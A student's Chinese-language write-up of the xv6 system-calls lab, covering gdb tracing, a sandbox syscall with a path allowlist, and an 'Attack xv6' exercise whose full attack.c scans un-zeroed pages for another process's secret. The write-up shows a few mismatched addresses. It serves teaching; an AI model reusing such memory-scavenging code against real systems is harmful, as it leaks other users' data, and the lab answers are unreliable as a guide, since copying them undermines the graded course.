1
2
3
git fetch
git checkout syscall
make clean

Using gdb

1.Looking at the backtrace output, which function called syscall?

方法1:通过GDB验证

1
2
3
4
5
6
7
8
9
10
11
# 启动调试
make qemu-gdb

# 在另一个终端 b :break c:continue bt:backtrace
gdb-multiarch kernel\kernel
target remote localhost:26000
(gdb) b syscall
(gdb) c
# 在 xv6 shell 中执行一个命令,如 ls
(gdb) bt
# 查看调用栈

方法2:通过源码验证

1
2
3
# 查看 trap.c 中的 usertrap 函数
cd ~/xv6/xv6-labs-2025
grep -n "syscall()" kernel/trap.c

在 xv6 中,系统调用的完整调用链是这样的:

用户程序执行 ecall 指令

uservec (汇编陷阱入口)

usertrap() (C语言陷阱处理函数)

syscall() (系统调用分发器)

当使用backtrace时:

1
2
3
4
5
(gdb) bt
#0 syscall () at kernel/syscall.c:133
#1 0x0000000080001f4e in usertrap () at kernel/trap.c:67
#2 0x0000000080001c4e in uservec () at kernel/trampoline.S:16
#3 0x0000000000000000 in ?? ()

含义:

1
2
3
4
#0: 当前在 syscall()函数
#1: 调用者是 usertrap(),在 kernel/trap.c第 67 行
#2: 再上一层是 uservec(),这是汇编写的陷阱处理入口
#3: 然后是用户空间(地址 0)

What is the value of p->trapframe->a7 and what does that value represent? (Hint: look at user/init.c, the first user program xv6 starts, and its compiled assembly user/init.asm.)

1
2
3
4
5
6
b syscall
n
n #step past struct proc *p = myproc();
p /x *p
p p->trapframe->a7
p /x p->trapframe->a7

效果如下:

image-20260105154516048

p->trapframe->a7的值是15。这是系统调用号,对应 SYS_open系统调用。表示 xv6 启动的第一个用户程序 init正在执行 open("console", O_RDWR)来打开控制台设备。

验证

1.

查看 kernel/syscall.h#define SYS_open 15

2.

查看 user/init.c:第一个操作是 open("console", O_RDWR)

3.

查看 user/init.asm:可以看到 li a7, 15指令

AI对系统调用号的解释:

image-20260105155308539

What was the previous mode that the CPU was in?

通过p /x $sstatus可以看到内核地址空间

image-20260105155723097

CPU之前处于用户模式(User Mode)

在xv6中,CPU主要在两种模式间切换:用户模式和内核模式

xv6操作系统的正常执行流程遵循一个基本规则:内核代码(如您当前中断所在的 main()函数)只能在CPU处于内核态(监管者模式)时执行。因此,任何进入内核的路径,其起点必然是用户态。具体来说,CPU从用户态陷入内核态的唯一途径是发生陷阱(trap),例如:

用户进程主动执行 ecall指令发起系统调用

发生硬件中断(如定时器中断、设备中断)

用户进程触发了异常(如页面故障、非法指令)。

Write down the assembly instruction the kernel is panicing at. Which register corresponds to the variable num?

首先去kernel/syscall.c里修改如下:

1
2
3
4
5
6
7
8
void
syscall(void)
{
int num;
struct proc *p = myproc();

num = *(int *)0;
//num = p->trapframe->a7;

这样运行就会报错。实验流程如下:

第1步:触发错误并获取关键线索

然后关闭gdb调试(输入q),再make qemu,报错

1
2
3
4
5
6
xv6 kernel is booting

hart 2 starting
hart 1 starting
scause=0xd sepc=0x80001cf8 stval=0x0
panic: kerneltrap

sepc=0x80001bfe:这是整个调试的最关键线索。它告诉你导致CPU陷入陷阱(trap)的指令保存在内存地址 0x80001bfe处。
stval=0x0: 表示导致异常的内存地址是 0x0(NULL指针)。这强烈暗示错误是尝试访问空指针。

常见的scause的值及含义

image-20260105165608163

2.第二步:定位错误的汇编指令

查找汇编文件: 内核编译后,会生成一个 kernel/kernel.asm文件。这个文件是内核可执行程序的反汇编文本,它将机器码地址与汇编指令、以及对应的C代码行关联起来。

搜索sepc地址: 在终端中执行:

1
2
3
grep -n "80001bfe:" kernel/kernel.asm
返回:
4409: 80001cf8: 00002683 lw a3,0(zero) # 0 <_entry-0x80000000>

80001bfe:: 地址,与sepc完全匹配。
lw a3,0(zero): 这就是引发panic的致命指令。
指令解析: lw(Load Word)指令从内存地址 0(zero)处加载一个32位字到寄存器 a3中。这里的 0(zero)含义是零寄存器的值(恒为0)加上偏移0,即内存地址0。
错误分析: 从stval=0x0可知,尝试访问的内存地址是0。由于地址0是非法地址(通常保留或未映射),这条指令试图从内存地址0读取数据,触发了页面错误异常(Load Page Fault),导致内核panic。

第二步也可以使用gdb调试功能

1
2
3
(gdb) b *0x80001cf8
(gdb) layout asm
(gdb) c

image-20260105164722594

第3步:将汇编指令映射回C源代码

在kernel.asm里查找8001cf8:

image-20260105163644449

基本确定是syscall里num赋值的问题

回到问题,正如num = p->trapframe->a7,寄存器a7存储了num的值

Why does the kernel crash? Hint: look at figure 3-3 in the text; is address 0 mapped in the kernel address space? Is that confirmed by the value in scause above? (See description of scause in RISC-V privileged instructions)

内核崩溃是因为执行了一条试图从内存地址 0 读取数据的指令。地址 0 在内核的地址空间中未被映射(如图3-3所示),因此访问它会触发处理器异常。RISC-V 的 scause寄存器记录了此次异常的原因为 0xd (Load Page Fault),这直接证实了崩溃是由于“加载页错误”导致的。

What is the name of the process that was running when the kernel paniced? What is its process id (pid)?

image-20260105165638288

Sandbox a command

如何在内核层面实现权限控制机制,在本实验中,你将实现“沙箱”,以限制其可调用的系统调用。

首先在Makefile里添加$U/_sandbox\

然后添加用户空间支持

1
2
3
4
5
6
添加用户空间调用声明,user/user.h,在文件末尾的 // system calls部分添加:
int interpose(int mask, const char *path);
更新系统调用存根生成脚本, user/usys.pl,在 entry:列表末尾添加
entry("interpose");
添加系统调用号,kernel/syscall.h
#define SYS_interpose 24

内核实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
在进程结构体中添加沙箱掩码字段,kernel/proc.h,在struct proc中添加:
int interpose_mask; // 沙箱掩码

在系统调用表中注册新的系统调用,kernel/syscall.c
extern uint64 sys_interpose(void);//添加外部函数声明
[SYS_interpose] sys_interpose,// 在系统调用表中添加条目

实现系统调用处理函数, kernel/sysproc.c,在文件末尾添加
uint64
sys_interpose(void)
{
int mask;
char path[256];
struct proc *p = myproc();

argint(0, &mask);
argstr(1, path, sizeof(path));

p->interpose_mask = mask;
return 0;
}

修改 fork 函数实现掩码继承,kernel/proc.c
np->sz = p->sz;
np->interpose_mask = p->interpose_mask; // 添加这一行

在系统调用分发器中检查掩码,kernel/syscall.c
void
syscall(void)
{
int num;
struct proc *p = myproc();

num = p->trapframe->a7;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
// 检查是否被沙箱屏蔽
if(p->interpose_mask & (1 << num)) {
// 系统调用被屏蔽,返回 -1
p->trapframe->a0 = -1;//为什么是a0?这涉及到RISC-V架构的调用约定,a0用来存放函数参数/返回值
} else {
p->trapframe->a0 = syscalls[num]();
}
} else {
printf("%d %s: unknown sys call %d\n",
p->pid, p->name, num);
p->trapframe->a0 = -1;
}
}

测试如下

1
2
make qemu
sandbox 32768 - cat README

image-20260106100450379

1
2
3
./grade-lab-syscall sandbox_mask
make: “kernel/kernel”已是最新。
== Test sandbox_mask == sandbox_mask: OK (1.5s)

补充:理解 xv6 中 proc、syscall、sysproc 的关系与 interpose 实现机制

1
2
3
4
5
6
7
8
9
10
11
用户程序

系统调用入口 (ecall)

syscall() 函数 (系统调用分发器)

sysproc.c 中的具体处理函数

proc 结构体 (进程上下文)

硬件资源

proc 结构体:保存一个进程的所有状态信息
syscall 函数:接收所有系统调用请求,并分发到具体处理函数
sysproc:实现各个系统调用的具体逻辑

Sandbox with allowed pathnames

这个实验是沙箱功能扩展,在之前的基础上添加了路径名白名单功能。即使 openexec系统调用被屏蔽,但如果访问的路径名匹配指定的允许路径,则允许执行该系统调用。

需要修改的文件:

1.kernel/proc.h:扩展进程结构体

1
2
3
4
5
struct proc {
int pid;
char name[16];
int interpose_mask; // 已有的掩码
char allowed_path[MAXPATH]; // 新增:允许的路径

2.kernel/sysproc.c :修改系统调用处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
uint64
sys_interpose(void)
{
int mask;
struct proc *p = myproc();

// 获取掩码参数
argint(0, &mask);

// 获取路径参数,直接保存到进程结构体
argstr(1, p->allowed_path, MAXPATH);

p->interpose_mask = mask;
return 0;
}

3.kernel/syscall.c :增强检查逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void
syscall(void)
{
int num;
struct proc *p = myproc();

num = p->trapframe->a7;

if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
// 检查是否被沙箱屏蔽
int masked = p->interpose_mask & (1 << num);

if (masked) {
// 如果是 open 或 exec,检查路径例外
if (num == SYS_open || num == SYS_exec) {
char path[MAXPATH];
// 获取路径参数
if (argstr(0, path, MAXPATH) >= 0) {
// 比较路径是否匹配
int match = 1;
for (int i = 0; i < MAXPATH; i++) {
if (path[i] != p->allowed_path[i]) {
match = 0;
break;
}
if (path[i] == '\0')
break;
}
if (match) {
// 路径匹配,允许执行
p->trapframe->a0 = syscalls[num]();
return;
}
}
}
// 不匹配或其他被屏蔽的系统调用
p->trapframe->a0 = -1;
} else {
p->trapframe->a0 = syscalls[num]();
}
} else {
printf("%d %s: unknown sys call %d\n", p->pid, p->name, num);
p->trapframe->a0 = -1;
}
}

4.kernel/proc.c:修改fork

1
2
3
4
5
6
7
8
9
10
11
12
13
int
fork(void)
{
// ... 现有代码

// 复制沙箱掩码
np->interpose_mask = p->interpose_mask;

// 复制允许的路径
safestrcpy(np->allowed_path, p->allowed_path, MAXPATH);

// ... 其他代码
}

如果出现 MAXPATH未定义错误,在 kernel/param.h中添加:

1
#define MAXPATH 128

测试结果:

image-20260107094957808

Attack xv6

这个实验要求利用 xv6 内核的一个安全漏洞:新分配的内存页面没有被清零,从而可能泄露之前进程的数据。你的任务是编写一个攻击程序 attack.c来窃取 secret.c程序写入内存的秘密字符串。

内核在以下三个地方省略了 memset调用:

1.kernel/vm.c 中的 uvmalloc()函数

1
2
3
4
// 省略了清除新分配页面的代码
// ifndef LAB_SYSCALL
// memset(mem, 0, sz);
// endif

2.kernel/kalloc.c 中的两处 memset调用也被省略。

导致新分配的内存页面保留之前使用的内容,调用 sbrk()分配内存的程序可能收到包含之前进程数据的页面,secret.c写入秘密字符串后退出,其内存被释放但未清零,attack.c分配内存时可能获得包含秘密的页面

攻击的核心逻辑:
attack 程序需要向内核申请大量内存
扫描新分配的内存
由于秘密字符串是纯文本(数字+字母),需要在乱码中通过特征识别出它

attack.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include "kernel/types.h"
#include "user/user.h"

int is_alnum(char c) {
return (c >= 'a' && c <= 'z') ||
(c >= 'A' && c <= 'Z') ||
(c >= '0' && c <= '9');
}

int main() {
int page_size = 4096;
int num_pages = 2048; // 8MB
char *old_brk = sbrk(0);

printf("Old break: %p\n", old_brk);

// 分配内存
for (int i = 0; i < num_pages; i++) {
if (sbrk(page_size) == (char*)-1) {
printf("Allocation failed at page %d\n", i);
break;
}
}

char *new_brk = sbrk(0);
printf("New break: %p\n", new_brk);
printf("Allocated: %d bytes\n", (int)(new_brk - old_brk));

char *best_start = 0;
int best_len = 0;
int candidate_count = 0;

// 扫描新分配的内存
for (char *p = old_brk; p < new_brk; p++) {
if (is_alnum(*p)) {
char *start = p;
int len = 0;

while (p < new_brk && is_alnum(*p)) {
len++;
p++;
}

// 如果序列较长,打印出来看看
if (len >= 4) {
candidate_count++;
printf("Candidate #%d (len=%d): ", candidate_count, len);
for (int i = 0; i < len && i < 30; i++) {
printf("%c", start[i]);
}
printf("\n");
}

// 记录最长的序列
if (len > best_len) {
best_len = len;
best_start = start;
}

p--; // 回退一步
}
}

printf("\nTotal candidates: %d\n", candidate_count);
printf("Longest sequence length: %d\n", best_len);

// 输出最长的序列
if (best_start && best_len > 0) {
printf("Longest sequence: ");
for (int i = 0; i < best_len; i++) {
printf("%c", best_start[i]);
}
printf("\n");
}

exit(0);
}

然后执行:

1
2
3
make qemu
secret huzayn
attack

我的这个代码会输出所有找到的结果,

image-20260107102816456

其中第37号就是secret

但是这个显然是不符合实验要求的,实验要求只能输出一行,并且最多运行两次attack。阅读secret.c可知:

1
2
3
strcpy(data, "This may help.");

strcpy(data + 16, argv[1]);

意味着secret前面有单词: “This may help.”,因此可以根据这个来寻找

修改代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include "kernel/types.h"
#include "user/user.h"

int is_alnum(char c) {
return (c >= 'a' && c <= 'z') ||
(c >= 'A' && c <= 'Z') ||
(c >= '0' && c <= '9');
}

int main() {
// 分配大量内存
int total_pages = 4096; // 16MB
char *old_brk = sbrk(0);

//这是 xv6 中动态分配内存的标准方式
for (int i = 0; i < total_pages; i++) {
if (sbrk(4096) == (char*)-1) break;
}

char *new_brk = sbrk(0);
char *best_start = 0;
int best_len = 0;

// 策略1:寻找 "This may help." 模式后面的秘密
for (char *p = old_brk; p < new_brk - 50; p++) {
// 检查是否有 "This may help." 模式
char prefix[] = "This may help.";
int match = 1;
for (int i = 0; i < 14; i++) {
if (p[i] != prefix[i]) {
match = 0;
break;
}
}

if (match) {
// 找到前缀,检查后面16字节处的秘密
char *secret_start = p + 16;
if (is_alnum(*secret_start)) {
char *start = secret_start;
int len = 0;
while (secret_start + len < new_brk && is_alnum(secret_start[len])) {
len++;
}

if (len > best_len) {
best_len = len;
best_start = start;
}
}
}
}

// 策略2:如果没找到模式,回退到寻找最长序列
if (!best_start) {
for (char *p = old_brk; p < new_brk; p++) {
if (is_alnum(*p)) {
char *start = p;
int len = 0;
while (p < new_brk && is_alnum(*p)) {
len++;
p++;
}

if (len > best_len) {
best_len = len;
best_start = start;
}

p--;
}
}
}

// 输出结果
if (best_start && best_len > 0) {
for (int i = 0; i < best_len; i++) {
printf("%c", best_start[i]);
}
printf("\n");
}

exit(0);
}

测试

image-20260107104347678

1
2
3
huzayn@huzayn-VMware-Virtual-Platform:~/xv6/xv6-labs-2025$ ./grade-lab-syscall attack
make: “kernel/kernel”已是最新。
== Test attack == attack: OK (1.8s)

实验system calls到此完成

1
2
git add .
git commit -m"huzayn完成修改"